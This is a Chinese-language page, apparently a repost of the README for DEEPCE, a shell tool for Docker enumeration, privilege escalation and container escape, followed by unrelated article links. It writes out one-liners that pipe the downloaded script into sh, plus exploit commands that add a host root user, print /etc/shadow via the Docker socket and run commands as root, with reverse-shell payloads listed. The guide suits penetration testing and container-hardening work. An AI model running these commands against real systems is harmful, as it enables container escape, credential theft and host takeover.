Docker 枚举、特权升级和容器逃逸 (DEEPCE)

简介: 为了使其与最大数量的容器兼容,DEEPCE 是纯编写的sh,没有依赖性。如果可用,它将使用其他工具,例如 curl、nmap、nslookup 和 dig,但在大多数情况下不依赖于它们进行枚举。枚举都不应该触及磁盘,但是大多数漏洞利用会创建新的容器,这将导致磁盘写入,并且一些漏洞利用会覆盖 runC,这可能具有破坏性,所以要小心!

为了使其与最大数量的容器兼容,DEEPCE 是纯编写的sh,没有依赖性。如果可用,它将使用其他工具,例如 curl、nmap、nslookup 和 dig,但在大多数情况下不依赖于它们进行枚举。

       枚举都不应该触及磁盘,但是大多数漏洞利用会创建新的容器,这将导致磁盘写入,并且一些漏洞利用会覆盖 runC,这可能具有破坏性,所以要小心!

       可以使用以下单行之一将 DEEPCE 下载到主机或容器上。提示:下载到/dev/shm避免接触磁盘。

wget https://github.com/stealthcopter/deepce/raw/main/deepce.sh
curl -sL https://github.com/stealthcopter/deepce/raw/main/deepce.sh -o deepce.sh
# Or using python requests
python -c 'import requests;print(requests.get("https://github.com/stealthcopter/deepce/raw/main/deepce.sh").content)' > deepce.sh 
python3 -c 'import requests;print(requests.get("https://github.com/stealthcopter/deepce/raw/main/deepce.sh").c

枚举

以下是 DEEPCE 执行的枚举列表。

  • 容器 ID 和名称(通过反向 DNS)
  • 容器 IP / DNS 服务器
  • 码头工人版本
  • 有趣的坐骑
  • 普通文件中的密码
  • 环境变量
  • 密码哈希
  • 容器中存储的常见敏感文件
  • 同一网络上的其他容器
  • 端口扫描其他容器,以及宿主机本身

漏洞利用

  • Docker 组提权
  • 特权模式主机命令执行
  • 裸露的 Docker

有效载荷

对于上述每个漏洞利用,都可以定义有效负载以利用主机系统。这些包括:

  • 反向 TCP 外壳
  • 打印 /etc/shadow
  • 添加新的根用户
  • 运行自定义命令
  • 运行自定义负载二进制文件
# Make the script executable and then run it
chmod +x ./deepce.sh
./deepce.sh

漏洞利用

以下示例显示了可以执行的不同类型的漏洞利用和可用的有效负载。

  • 利用特权容器在主机操作系统上创建新的 root 用户:
./deepce.sh --no-enumeration --exploit PRIVILEGED --username deepce --password deepce
  • 利用可写的 docker sock 文件打印内容/etc/shadow
./deepce.sh --no-enumeration --exploit SOCK --shadow
  • 通过主机上 docker 组的成员身份升级到 root 并运行自定义负载
./deepce.sh --no-enumeration --exploit DOCKER --command "whoami>/tmp/hacked"

高级用法

       可以在不接触磁盘的情况下下载和运行 deepce,但是您将无法轻松设置参数(可以使用导出直接操作变量)。

wget -O - https://github.com/stealthcopter/deepce/raw/main/deepce.sh | sh
curl -sL https://github.com/stealthcopter/deepce/raw/main/deepce.sh | sh

https://github.com/stealthcopter/deepce

目录
相关文章
|
10月前
|
NoSQL 算法 Redis
【Docker】(3)学习Docker中 镜像与容器数据卷、映射关系!手把手带你安装 MySql主从同步 和 Redis三主三从集群!并且进行主从切换与扩容操作,还有分析 哈希分区 等知识点!
Union文件系统(UnionFS)是一种**分层、轻量级并且高性能的文件系统**,它支持对文件系统的修改作为一次提交来一层层的叠加,同时可以将不同目录挂载到同一个虚拟文件系统下(unite several directories into a single virtual filesystem) Union 文件系统是 Docker 镜像的基础。 镜像可以通过分层来进行继承,基于基础镜像(没有父镜像),可以制作各种具体的应用镜像。
943 6
|
10月前
|
监控 Linux 调度
【赵渝强老师】Docker容器的资源管理机制
本文介绍了Linux CGroup技术及其在Docker资源管理中的应用。通过实例演示了如何利用CGroup限制应用程序的CPU、内存和I/O带宽使用,实现系统资源的精细化控制,帮助理解Docker底层资源限制机制。
874 6
|
Linux Docker 容器
Docker操作 :容器命令
Docker操作 (四)
514 57
|
Linux 开发者 Docker
如何构建在 Docker 容器中运行命令?
【1月更文挑战第6天】
389 0
|
应用服务中间件 Shell nginx
Docker容器操作基础命令
关于Docker容器操作基础命令的教程,涵盖了从启动、查看、删除容器到端口映射和容器信息获取的一系列常用命令及其使用方法。
660 16
|
安全 Shell Linux
docker进入容器命令
docker进入容器命令
1500 1
|
Linux 应用服务中间件 Shell
docker学习--docker容器镜像常用命令大全(简)
本文档详细介绍了Docker中的镜像命令与容器管理命令。镜像命令部分涵盖了镜像搜索、下载、上传等操作;容器管理命令则包括了容器的创建、启动、停止、删除及日志查看等功能。通过具体示例,帮助用户更好地理解和使用Docker相关命令。
1137 1